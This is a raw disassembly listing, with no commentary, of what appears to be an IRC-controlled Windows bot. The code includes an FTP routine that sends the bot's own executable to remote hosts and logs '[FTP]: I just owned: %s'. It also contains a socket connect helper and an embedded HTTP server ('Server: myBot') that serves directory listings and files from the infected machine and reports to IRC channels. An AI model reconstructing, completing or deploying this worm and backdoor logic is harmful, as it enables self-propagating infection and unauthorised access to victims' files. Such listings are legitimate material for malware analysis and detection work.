		push	[ebp+var_448]
		push	eax
		lea	eax, [ebp+var_4C8]
		push	eax
		push	[ebp+var_6E0]
		call	sub_409982
		add	esp, 14h


loc_40F774:				; CODE XREF: sub_40F23F+510j
		call	sub_40F8BC
		cmp	eax, 1
		jnz	loc_40F811
		push	esi
		push	17h
		push	offset a226TransferC_0 ; "226 Transfer complete.\n"
		push	edi
		call	ebx	; send
		lea	eax, [ebp+var_4C]
		push	eax
		lea	eax, [ebp+var_8E0]
		push	offset aFtpIJustOwnedS ; "[FTP]: I just	owned: %s"
		push	eax
		call	sub_41C056
		add	esp, 0Ch
		cmp	[ebp+var_444], esi
		jnz	short loc_40F7D0
		push	esi
		lea	eax, [ebp+var_8E0]
		push	[ebp+var_448]
		push	eax
		lea	eax, [ebp+var_4C8]
		push	eax
		push	[ebp+var_6E0]
		call	sub_409982
		add	esp, 14h


loc_40F7D0:				; CODE XREF: sub_40F23F+56Cj
		lea	eax, [ebp+var_8E0]
		push	eax
		call	sub_4157A5
		inc	dword_4D0764
		pop	ecx
		jmp	short loc_40F811
; ---------------------------------------------------------------------------


loc_40F7E5:				; CODE XREF: sub_40F23F+504j
		push	esi
		push	20h
		push	offset a425CanTOpenDat ; "425 Can't open data connection.\n"
		jmp	short loc_40F80E
; ---------------------------------------------------------------------------


loc_40F7EF:				; CODE XREF: sub_40F23F+4E2j
		lea	eax, [ebp+var_B0]
		push	offset aQuit	; "QUIT"
		push	eax
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F811
		push	esi
		push	1Bh
		push	offset a221GoodbyeHapp ; "221 Goodbye happy r00ting.\n"


loc_40F80E:				; CODE XREF: sub_40F23F+262j
					; sub_40F23F+286j ...
		push	edi
		call	ebx	; send


loc_40F811:				; CODE XREF: sub_40F23F+3B6j
					; sub_40F23F+53Dj ...
		push	64h
		lea	eax, [ebp+var_2A0]
		push	esi
		push	eax
		call	sub_41BD60
		add	esp, 0Ch


loc_40F823:				; CODE XREF: sub_40F23F+14Fj
					; sub_40F23F+178j ...
		inc	edi
		cmp	edi, [ebp+var_4]
		mov	[ebp+arg_0], edi
		jle	loc_40F35C
		jmp	loc_40F323
; ---------------------------------------------------------------------------


loc_40F835:				; CODE XREF: sub_40F23F+10Fj
		xor	eax, eax
		inc	eax


loc_40F838:				; CODE XREF: sub_40F23F+C1j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_40F23F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F83F	proc near		; CODE XREF: sub_40F23F+4FAp

var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1A0h
		lea	eax, [ebp+var_1A0]
		push	eax
		push	101h
		call	dword_4281F4	; WSAStartup
		push	0
		push	1
		push	2
		call	dword_428220	; socket
		push	[ebp+arg_0]
		mov	dword_4D0AA4, eax
		mov	[ebp+var_10], 2
		call	dword_428234	; inet_addr
		push	[ebp+arg_4]
		mov	[ebp+var_C], eax
		call	dword_42820C	; ntohs
		mov	[ebp+var_E], ax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	dword_4D0AA4
		call	dword_428210	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40F8B7
		push	dword_4D0AA4
		call	dword_42821C	; closesocket
		call	dword_4281F0	; WSACleanup
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_40F8B7:				; CODE XREF: sub_40F83F+60j
		xor	eax, eax
		inc	eax
		leave
		retn
sub_40F83F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F8BC	proc near		; CODE XREF: sub_40F23F:loc_40F774p

var_504		= byte ptr -504h
var_104		= byte ptr -104h

		push	ebp
		mov	ebp, esp
		sub	esp, 504h
		push	esi
		lea	eax, [ebp+var_104]
		push	104h
		push	eax
		push	0
		call	dword_428074	; GetModuleFileNameA
		lea	eax, [ebp+var_104]
		push	offset dword_42A06C
		push	eax
		call	sub_41BC92
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_40F953
		test	byte ptr [esi+0Ch], 10h
		jnz	short loc_40F937
		push	edi
		mov	edi, 400h


loc_40F8FF:				; CODE XREF: sub_40F8BC+78j
		push	esi
		push	1
		lea	eax, [ebp+var_504]
		push	edi
		push	eax
		call	sub_41B8EA
		add	esp, 10h
		lea	eax, [ebp+var_504]
		push	0
		push	edi
		push	eax
		push	dword_4D0AA4
		call	dword_428224	; send
		push	1
		call	dword_428064	; Sleep
		test	byte ptr [esi+0Ch], 10h
		jz	short loc_40F8FF
		pop	edi


loc_40F937:				; CODE XREF: sub_40F8BC+3Bj
		push	esi
		call	sub_41B82B
		pop	ecx
		push	dword_4D0AA4
		call	dword_42821C	; closesocket
		call	dword_4281F0	; WSACleanup
		xor	eax, eax
		inc	eax


loc_40F953:				; CODE XREF: sub_40F8BC+35j
		pop	esi
		leave
		retn
sub_40F8BC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F956	proc near		; DATA XREF: sub_401B66+21A0o
					; sub_40B945+46Co

var_28F0	= byte ptr -28F0h
var_18F0	= byte ptr -18F0h
var_8F0		= byte ptr -8F0h
var_6F0		= byte ptr -6F0h
var_5EC		= dword	ptr -5ECh
var_5E8		= byte ptr -5E8h
var_360		= byte ptr -360h
var_25C		= dword	ptr -25Ch
var_254		= dword	ptr -254h
var_250		= dword	ptr -250h
var_24C		= dword	ptr -24Ch
var_248		= dword	ptr -248h
var_23C		= byte ptr -23Ch
var_138		= byte ptr -138h
var_128		= dword	ptr -128h
var_124		= dword	ptr -124h
var_120		= dword	ptr -120h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 28F0h
		call	sub_41C2F0
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0ECh
		mov	esi, eax
		lea	edi, [ebp+var_5EC]
		xor	ebx, ebx
		rep movsd
		xor	esi, esi
		push	10h
		inc	esi
		push	ebx
		mov	[eax+3ACh], esi
		lea	eax, [ebp+var_24]
		push	eax
		mov	[ebp+var_14], esi
		call	sub_41BD60
		add	esp, 0Ch
		mov	[ebp+var_24], 2
		push	[ebp+var_25C]
		call	dword_4CDC64	; ntohs
		push	ebx
		push	esi
		push	2
		mov	[ebp+var_22], ax
		mov	[ebp+var_20], ebx
		call	dword_4CDCE4	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_8], edi
		jz	loc_40FD1C
		mov	eax, [ebp+var_254]
		push	10h
		imul	eax, 234h
		mov	dword_440BA4[eax], edi
		lea	eax, [ebp+var_24]
		push	eax
		push	edi
		call	dword_4CDC90	; bind
		cmp	eax, 0FFFFFFFFh
		jz	loc_40FD1C
		push	7FFFFFFFh
		push	edi
		call	dword_4CDC8C	; listen
		cmp	eax, 0FFFFFFFFh
		jz	loc_40FD1C
		lea	eax, [ebp+var_14]
		push	eax
		push	8004667Eh
		push	edi
		call	dword_4CDD00	; ioctlsocket
		cmp	eax, 0FFFFFFFFh
		jz	loc_40FD1C
		mov	ebx, esi
		mov	[ebp+var_124], edi
		mov	[ebp+var_128], ebx
		mov	[ebp+var_4], edi


loc_40FA2D:				; CODE XREF: sub_40F956+3BCj
		push	41h
		xor	eax, eax
		pop	ecx
		lea	esi, [ebp+var_128]
		push	eax
		push	eax
		push	eax
		lea	eax, [ebp+var_6F0]
		push	eax
		mov	eax, [ebp+var_4]
		lea	edi, [ebp+var_6F0]
		inc	eax
		rep movsd
		push	eax
		call	dword_4CDC4C	; select
		cmp	eax, 0FFFFFFFFh
		jz	loc_40FD17
		xor	edi, edi
		mov	[ebp+arg_0], edi


loc_40FA63:				; CODE XREF: sub_40F956+3B6j
		lea	eax, [ebp+var_6F0]
		push	eax
		push	edi
		call	dword_4CDB50	; __WSAFDIsSet
		test	eax, eax
		jz	loc_40FD02
		cmp	edi, [ebp+var_8]
		jnz	short loc_40FAE4
		lea	eax, [ebp+var_C]
		mov	[ebp+var_C], 10h
		push	eax
		lea	eax, [ebp+var_138]
		push	eax
		push	[ebp+var_8]
		call	dword_4CDCF8	; accept
		cmp	eax, 0FFFFFFFFh
		jz	loc_40FD02
		xor	ecx, ecx
		test	ebx, ebx
		jbe	short loc_40FAB6


loc_40FAA8:				; CODE XREF: sub_40F956+15Ej
		cmp	[ebp+ecx*4+var_124], eax
		jz	short loc_40FAB6
		inc	ecx
		cmp	ecx, ebx
		jb	short loc_40FAA8


loc_40FAB6:				; CODE XREF: sub_40F956+150j
					; sub_40F956+159j
		cmp	ecx, ebx
		jnz	short loc_40FAD3
		cmp	ebx, 40h
		jnb	short loc_40FAD3
		mov	[ebp+ecx*4+var_124], eax
		mov	ebx, [ebp+var_128]
		inc	ebx
		mov	[ebp+var_128], ebx


loc_40FAD3:				; CODE XREF: sub_40F956+162j
					; sub_40F956+167j
		cmp	eax, [ebp+var_4]
		jbe	loc_40FD02
		mov	[ebp+var_4], eax
		jmp	loc_40FD02
; ---------------------------------------------------------------------------


loc_40FAE4:				; CODE XREF: sub_40F956+126j
		mov	esi, 1000h
		lea	eax, [ebp+var_28F0]
		push	esi
		push	0
		push	eax
		call	sub_41BD60
		push	esi
		lea	eax, [ebp+var_18F0]
		push	0
		push	eax
		call	sub_41BD60
		add	esp, 18h
		lea	eax, [ebp+var_28F0]
		push	0
		push	esi
		push	eax
		push	edi
		call	dword_4CDC7C	; recv
		test	eax, eax
		jg	short loc_40FB6B
		push	edi
		call	dword_4CDCFC	; closesocket
		xor	eax, eax
		test	ebx, ebx
		jbe	loc_40FD02


loc_40FB30:				; CODE XREF: sub_40F956+1E6j
		cmp	[ebp+eax*4+var_124], edi
		jz	short loc_40FB58
		inc	eax
		cmp	eax, ebx
		jb	short loc_40FB30
		jmp	loc_40FD02
; ---------------------------------------------------------------------------


loc_40FB43:				; CODE XREF: sub_40F956+207j
		mov	ecx, [ebp+eax*4+var_120]
		mov	[ebp+eax*4+var_124], ecx
		mov	ebx, [ebp+var_128]
		inc	eax


loc_40FB58:				; CODE XREF: sub_40F956+1E1j
		lea	ecx, [ebx-1]
		cmp	eax, ecx
		jb	short loc_40FB43
		dec	ebx
		mov	[ebp+var_128], ebx
		jmp	loc_40FD02
; ---------------------------------------------------------------------------


loc_40FB6B:				; CODE XREF: sub_40F956+1C7j
		xor	esi, esi
		push	104h
		lea	eax, [ebp+var_23C]
		push	esi
		push	eax
		call	sub_41BD60
		lea	eax, [ebp+var_28F0]
		xor	edi, edi
		push	eax
		call	sub_41B7B0
		add	esp, 10h
		test	eax, eax
		jbe	loc_40FD02


loc_40FB98:				; CODE XREF: sub_40F956+2F9j
		mov	al, [ebp+edi+var_28F0]
		cmp	al, 0Ah
		mov	[ebp+esi+var_18F0], al
		jnz	loc_40FC3E
		mov	esi, offset aGet_0 ; "GET "
		lea	eax, [ebp+var_18F0]
		push	esi
		push	eax
		call	sub_41C0D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40FC0E
		lea	eax, [ebp+var_18F0]
		push	eax
		call	sub_41B7B0
		cmp	eax, 5
		pop	ecx
		jbe	short loc_40FC0E
		mov	eax, offset asc_42E0C8 ; " "
		push	eax
		push	eax
		lea	eax, [ebp+var_18F0]
		push	esi
		push	eax
		call	sub_41C0D0
		pop	ecx
		pop	ecx
		push	eax
		call	sub_41C0D0
		pop	ecx
		pop	ecx
		push	eax
		call	sub_41C8C4
		push	eax
		lea	eax, [ebp+var_23C]
		push	eax
		call	sub_41C680
		add	esp, 10h
		jmp	short loc_40FC25
; ---------------------------------------------------------------------------


loc_40FC0E:				; CODE XREF: sub_40F956+26Ej
					; sub_40F956+280j
		lea	eax, [ebp+var_18F0]
		push	offset asc_436514 ; "\r\n"
		push	eax
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40FC5A


loc_40FC25:				; CODE XREF: sub_40F956+2B6j
		push	1000h
		lea	eax, [ebp+var_18F0]
		push	0
		push	eax
		call	sub_41BD60
		add	esp, 0Ch
		or	esi, 0FFFFFFFFh


loc_40FC3E:				; CODE XREF: sub_40F956+252j
		lea	eax, [ebp+var_28F0]
		inc	edi
		push	eax
		inc	esi
		call	sub_41B7B0
		cmp	edi, eax
		pop	ecx
		jb	loc_40FB98
		jmp	loc_40FD02
; ---------------------------------------------------------------------------


loc_40FC5A:				; CODE XREF: sub_40F956+2CDj
		xor	eax, eax
		test	ebx, ebx
		jbe	short loc_40FC96


loc_40FC60:				; CODE XREF: sub_40F956+319j
		mov	ecx, [ebp+eax*4+var_124]
		cmp	ecx, [ebp+arg_0]
		jz	short loc_40FC88
		inc	eax
		cmp	eax, ebx
		jb	short loc_40FC60
		jmp	short loc_40FC96
; ---------------------------------------------------------------------------


loc_40FC73:				; CODE XREF: sub_40F956+337j
		mov	ecx, [ebp+eax*4+var_120]
		mov	[ebp+eax*4+var_124], ecx
		mov	ebx, [ebp+var_128]
		inc	eax


loc_40FC88:				; CODE XREF: sub_40F956+314j
		lea	ecx, [ebx-1]
		cmp	eax, ecx
		jb	short loc_40FC73
		dec	ebx
		mov	[ebp+var_128], ebx


loc_40FC96:				; CODE XREF: sub_40F956+308j
					; sub_40F956+31Bj
		lea	eax, [ebp+var_360]
		push	eax
		call	sub_41B7B0
		mov	esi, eax
		lea	eax, [ebp+var_23C]
		push	eax
		call	sub_41B7B0
		add	esi, eax
		pop	ecx
		cmp	esi, 104h
		pop	ecx
		jnb	short loc_40FCF9
		and	[ebp+var_10], 0
		lea	eax, [ebp+var_10]
		push	eax
		push	8004667Eh
		push	[ebp+arg_0]
		call	dword_4CDD00	; ioctlsocket
		push	[ebp+var_254]
		lea	eax, [ebp+var_23C]
		push	[ebp+var_248]
		push	eax
		lea	eax, [ebp+var_360]
		push	eax
		push	[ebp+arg_0]
		call	sub_40FF08
		add	esp, 14h
		jmp	short loc_40FD02
; ---------------------------------------------------------------------------


loc_40FCF9:				; CODE XREF: sub_40F956+364j
		push	[ebp+arg_0]
		call	dword_4CDCFC	; closesocket


loc_40FD02:				; CODE XREF: sub_40F956+11Dj
					; sub_40F956+146j ...
		mov	edi, [ebp+arg_0]
		inc	edi
		cmp	edi, [ebp+var_4]
		mov	[ebp+arg_0], edi
		jbe	loc_40FA63
		jmp	loc_40FA2D
; ---------------------------------------------------------------------------


loc_40FD17:				; CODE XREF: sub_40F956+102j
		mov	edi, [ebp+var_8]
		xor	ebx, ebx


loc_40FD1C:				; CODE XREF: sub_40F956+6Aj
					; sub_40F956+92j ...
		call	dword_4CDBF8	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_8F0]
		push	offset unk_4364EC
		push	eax
		call	sub_41C056
		add	esp, 0Ch
		cmp	[ebp+var_24C], ebx
		jnz	short loc_40FD62
		push	ebx
		lea	eax, [ebp+var_8F0]
		push	[ebp+var_250]
		push	eax
		lea	eax, [ebp+var_5E8]
		push	eax
		push	[ebp+var_5EC]
		call	sub_409982
		add	esp, 14h


loc_40FD62:				; CODE XREF: sub_40F956+3E7j
		lea	eax, [ebp+var_8F0]
		push	eax
		call	sub_4157A5
		pop	ecx
		push	edi
		call	dword_4CDCFC	; closesocket
		push	[ebp+var_254]
		call	sub_40B2A3
		pop	ecx
		push	ebx
		call	dword_4280CC	; ExitThread
		pop	edi
		pop	esi
		pop	ebx
sub_40F956	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FD8C	proc near		; DATA XREF: sub_40FF08+245o

var_1654	= byte ptr -1654h
var_654		= byte ptr -654h
var_550		= byte ptr -550h
var_44C		= dword	ptr -44Ch
var_3C8		= byte ptr -3C8h
var_2C4		= byte ptr -2C4h
var_B8		= dword	ptr -0B8h
var_B4		= dword	ptr -0B4h
var_A4		= dword	ptr -0A4h
var_9C		= byte ptr -9Ch
var_68		= byte ptr -68h
var_20		= byte ptr -20h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1654h
		call	sub_41C2F0
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 0ECh
		mov	esi, eax
		lea	edi, [ebp+var_44C]
		rep movsd
		mov	dword ptr [eax+3ACh], 1
		lea	eax, [ebp+var_3C8]
		push	eax
		lea	eax, [ebp+var_550]
		push	eax
		call	sub_41C056
		lea	eax, [ebp+var_2C4]
		push	eax
		lea	eax, [ebp+var_654]
		push	eax
		call	sub_41C056
		xor	edi, edi
		add	esp, 10h
		cmp	[ebp+var_A4], edi
		lea	eax, [ebp+var_9C]
		jz	short loc_40FDF7
		push	offset aTextHtml ; "text/html"
		jmp	short loc_40FDFC
; ---------------------------------------------------------------------------


loc_40FDF7:				; CODE XREF: sub_40FD8C+62j
		push	offset aApplicationOct ; "application/octet-stream"


loc_40FDFC:				; CODE XREF: sub_40FD8C+69j
		push	eax
		call	sub_41C056
		pop	ecx
		lea	eax, [ebp+var_68]
		pop	ecx
		mov	esi, 409h
		push	46h
		push	eax
		push	offset aDddDdMmmYyyy ; "ddd, dd	MMM yyyy"
		push	edi
		push	edi
		push	esi
		call	dword_428108	; GetDateFormatA
		lea	eax, [ebp+var_20]
		push	1Eh
		push	eax
		push	offset aHhMmSs	; "HH:mm:ss"
		push	edi
		push	edi
		push	esi
		call	dword_428104	; GetTimeFormatA
		lea	eax, [ebp+var_20]
		cmp	[ebp+var_B8], 0FFFFFFFFh
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		lea	eax, [ebp+var_9C]
		jnz	short loc_40FE6F
		push	eax
		lea	eax, [ebp+var_1654]
		push	offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
		push	eax
		call	sub_41C056
		add	esp, 24h
		jmp	short loc_40FE8A
; ---------------------------------------------------------------------------


loc_40FE6F:				; CODE XREF: sub_40FD8C+CAj
		push	[ebp+var_B8]
		push	eax
		lea	eax, [ebp+var_1654]
		push	offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
		push	eax
		call	sub_41C056
		add	esp, 28h


loc_40FE8A:				; CODE XREF: sub_40FD8C+E1j
		lea	eax, [ebp+var_1654]
		push	edi
		push	eax
		call	sub_41B7B0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1654]
		push	eax
		push	[ebp+var_44C]
		call	dword_4CDCB4	; send
		cmp	[ebp+var_A4], edi
		jnz	short loc_40FECA
		lea	eax, [ebp+var_550]
		push	eax
		push	[ebp+var_44C]
		call	sub_410838
		pop	ecx
		pop	ecx
		jmp	short loc_40FEE7
; ---------------------------------------------------------------------------


loc_40FECA:				; CODE XREF: sub_40FD8C+126j
		lea	eax, [ebp+var_654]
		push	eax
		push	edi
		push	[ebp+var_44C]
		lea	eax, [ebp+var_550]
		push	eax
		call	sub_4101B7
		add	esp, 10h


loc_40FEE7:				; CODE XREF: sub_40FD8C+13Cj
		push	[ebp+var_44C]
		call	dword_4CDCFC	; closesocket
		push	[ebp+var_B4]
		call	sub_40B2A3
		pop	ecx
		push	edi
		call	dword_4280CC	; ExitThread
		pop	edi
		pop	esi
sub_40FD8C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FF08	proc near		; CODE XREF: sub_40F956+399p

var_8C4		= byte ptr -8C4h
var_6C4		= dword	ptr -6C4h
var_640		= byte ptr -640h
var_53C		= byte ptr -53Ch
var_330		= dword	ptr -330h
var_32C		= dword	ptr -32Ch
var_31C		= dword	ptr -31Ch
var_318		= dword	ptr -318h
var_314		= byte ptr -314h
var_211		= byte ptr -211h
var_210		= byte ptr -210h
var_10C		= byte ptr -10Ch
var_10B		= byte ptr -10Bh
var_10A		= byte ptr -10Ah
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 8C4h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	104h
		lea	eax, [ebp+var_210]
		push	edi
		push	eax
		mov	[ebp+var_4], edi
		call	sub_41BD60
		mov	eax, [ebp+arg_8]
		add	esp, 0Ch
		cmp	byte ptr [eax],	2Fh
		push	eax
		jz	short loc_40FF3E
		push	offset aS_5	; "\\%s"
		jmp	short loc_40FF46
; ---------------------------------------------------------------------------


loc_40FF3E:				; CODE XREF: sub_40FF08+2Dj
		mov	byte ptr [eax],	5Ch
		push	offset aS_2	; "%s"


loc_40FF46:				; CODE XREF: sub_40FF08+34j
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_41C056
		add	esp, 0Ch
		lea	eax, [ebp+var_10C]
		xor	esi, esi
		xor	ebx, ebx
		push	eax
		call	sub_41B7B0
		test	eax, eax
		pop	ecx
		jbe	short loc_40FFE1
		mov	[ebp+arg_8], 2


loc_40FF71:				; CODE XREF: sub_40FF08+D7j
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_41B7B0
		cmp	[ebp+arg_8], eax
		pop	ecx
		jnb	short loc_40FFB1
		cmp	[ebp+esi+var_10C], 25h
		jnz	short loc_40FFB1
		cmp	[ebp+esi+var_10B], 32h
		jnz	short loc_40FFB1
		cmp	[ebp+esi+var_10A], 30h
		jnz	short loc_40FFB1
		inc	esi
		mov	[ebp+ebx+var_210], 20h
		inc	esi
		add	[ebp+arg_8], 2
		jmp	short loc_40FFCB
; ---------------------------------------------------------------------------


loc_40FFB1:				; CODE XREF: sub_40FF08+79j
					; sub_40FF08+83j ...
		mov	al, [ebp+esi+var_10C]
		cmp	al, 2Fh
		jnz	short loc_40FFC1
		push	5Ch
		pop	eax
		jmp	short loc_40FFC4
; ---------------------------------------------------------------------------


loc_40FFC1:				; CODE XREF: sub_40FF08+B2j
		movsx	eax, al


loc_40FFC4:				; CODE XREF: sub_40FF08+B7j
		mov	[ebp+ebx+var_210], al


loc_40FFCB:				; CODE XREF: sub_40FF08+A7j
		lea	eax, [ebp+var_10C]
		inc	esi
		inc	[ebp+arg_8]
		push	eax
		inc	ebx
		call	sub_41B7B0
		cmp	esi, eax
		pop	ecx
		jb	short loc_40FF71


loc_40FFE1:				; CODE XREF: sub_40FF08+60j
		lea	eax, [ebp+var_210]
		push	eax
		lea	eax, [ebp+var_314]
		push	[ebp+arg_4]
		push	offset dword_42AB10
		push	eax
		call	sub_41C056
		lea	eax, [ebp+var_314]
		push	offset asc_42B120 ; "\n"
		push	eax
		call	sub_41C8C4
		add	esp, 18h
		lea	eax, [ebp+var_314]
		push	eax
		call	dword_428098	; GetFileAttributesA
		xor	esi, esi
		inc	esi
		cmp	eax, 10h
		jz	short loc_41002F
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_410032
		push	[ebp+arg_0]
		jmp	short loc_4100AE
; ---------------------------------------------------------------------------


loc_41002F:				; CODE XREF: sub_40FF08+11Bj
		mov	[ebp+var_4], esi


loc_410032:				; CODE XREF: sub_40FF08+120j
		cmp	[ebp+ebx+var_211], 5Ch
		jnz	short loc_41003F
		mov	[ebp+var_4], esi


loc_41003F:				; CODE XREF: sub_40FF08+132j
		mov	ebx, [ebp+arg_0]
		cmp	[ebp+var_4], edi
		mov	[ebp+var_6C4], ebx
		mov	[ebp+var_318], edi
		jz	short loc_4100B9


loc_410053:				; DATA XREF: .packed:00433C5Do
					; .packed:0043448Do
		cmp	[ebp+arg_C], edi
		jz	short loc_4100AD
		lea	eax, [ebp+var_314]
		push	offset asc_4367A0 ; "*"
		push	eax
		call	sub_41C690
		lea	eax, [ebp+var_314]
		push	eax
		lea	eax, [ebp+var_640]
		push	eax
		call	sub_41C056
		lea	eax, [ebp+var_210]
		push	eax
		call	sub_4108F5
		lea	eax, [ebp+var_210]
		push	eax
		lea	eax, [ebp+var_53C]
		push	eax
		call	sub_41C056
		add	esp, 1Ch
		or	[ebp+var_330], 0FFFFFFFFh
		mov	[ebp+var_31C], esi
		jmp	short loc_410108
; ---------------------------------------------------------------------------


loc_4100AD:				; CODE XREF: sub_40FF08+14Ej
		push	ebx


loc_4100AE:				; CODE XREF: sub_40FF08+125j
		call	dword_4CDCFC	; closesocket
		jmp	loc_41019E
; ---------------------------------------------------------------------------


loc_4100B9:				; CODE XREF: sub_40FF08+149j
		push	edi
		push	edi
		push	3
		push	edi
		push	esi
		lea	eax, [ebp+var_314]
		push	80000000h
		push	eax
		call	dword_4280EC	; CreateFileA
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_410108
		lea	eax, [ebp+var_314]
		push	eax
		lea	eax, [ebp+var_640]
		push	eax
		call	sub_41C056
		pop	ecx
		mov	[ebp+var_31C], edi
		pop	ecx
		push	edi
		push	esi
		call	dword_42810C	; GetFileSize
		push	esi
		mov	[ebp+var_330], eax
		call	dword_42806C	; CloseHandle


loc_410108:				; CODE XREF: sub_40FF08+1A3j
					; sub_40FF08+1CEj
		mov	esi, [ebp+arg_10]
		lea	eax, [ebp+var_8C4]
		push	esi
		push	offset unk_43676C
		push	eax
		call	sub_41C056
		push	edi
		lea	eax, [ebp+var_8C4]
		push	3
		push	eax
		call	sub_40AF8D
		mov	[ebp+var_32C], eax
		imul	eax, 234h
		add	esp, 18h
		mov	dword_440B9C[eax], esi
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_6C4]
		push	edi
		push	eax
		push	offset sub_40FD8C
		push	edi
		push	edi
		call	dword_42807C	; CreateThread
		mov	ecx, [ebp+var_32C]
		imul	ecx, 234h
		cmp	eax, edi
		mov	dword_440BAC[ecx], eax
		jnz	short loc_4101AD
		push	ebx
		call	dword_4CDCFC	; closesocket
		call	dword_42808C	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_8C4]
		push	offset unk_436734
		push	eax
		call	sub_41C056
		lea	eax, [ebp+var_8C4]
		push	eax
		call	sub_4157A5
		add	esp, 10h


loc_41019E:				; CODE XREF: sub_40FF08+1ACj
					; sub_40FF08+2ADj
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_4101A5:				; CODE XREF: sub_40FF08+2ABj
		push	5
		call	dword_428064	; Sleep


loc_4101AD:				; CODE XREF: sub_40FF08+266j
		cmp	[ebp+var_318], edi
		jz	short loc_4101A5
		jmp	short loc_41019E
sub_40FF08	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4101B7	proc near		; CODE XREF: sub_401B66+765Ap
					; sub_40FD8C+153p

var_594		= byte ptr -594h
var_490		= byte ptr -490h
var_388		= dword	ptr -388h
var_374		= byte ptr -374h
var_368		= dword	ptr -368h
var_35C		= byte ptr -35Ch
var_248		= byte ptr -248h
var_48		= byte ptr -48h
var_20		= byte ptr -20h
var_18		= word ptr -18h
var_16		= word ptr -16h
var_12		= word ptr -12h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 594h
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	104h
		lea	eax, [ebp+var_594]
		push	ebx
		push	eax
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], ebx
		call	sub_41BD60
		mov	edi, [ebp+arg_0]
		push	offset asc_42B120 ; "\n"
		push	edi
		call	sub_41C8C4
		add	esp, 14h
		cmp	[ebp+arg_8], ebx
		push	edi
		jz	short loc_410216
		push	[ebp+arg_8]
		mov	esi, 200h
		lea	eax, [ebp+var_248]
		push	offset aPrivmsgSSearch ; "PRIVMSG %s :Searching	for: %s\r\n"
		push	esi
		push	eax
		call	sub_41C150
		add	esp, 14h
		jmp	loc_410312
; ---------------------------------------------------------------------------


loc_410216:				; CODE XREF: sub_4101B7+3Bj
		cmp	[ebp+arg_C], ebx
		jz	loc_4102F8
		call	sub_41B7B0
		mov	[eax+edi-1], bl
		push	edi
		mov	esi, 200h
		push	offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41C150
		add	esp, 14h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B7B0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CDCB4	; send
		push	edi
		push	offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41C150
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B7B0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CDCB4	; send
		push	edi
		call	sub_41B7B0
		push	3Ch
		push	96h
		mov	byte ptr [eax+edi], 2Ah
		push	0E6h
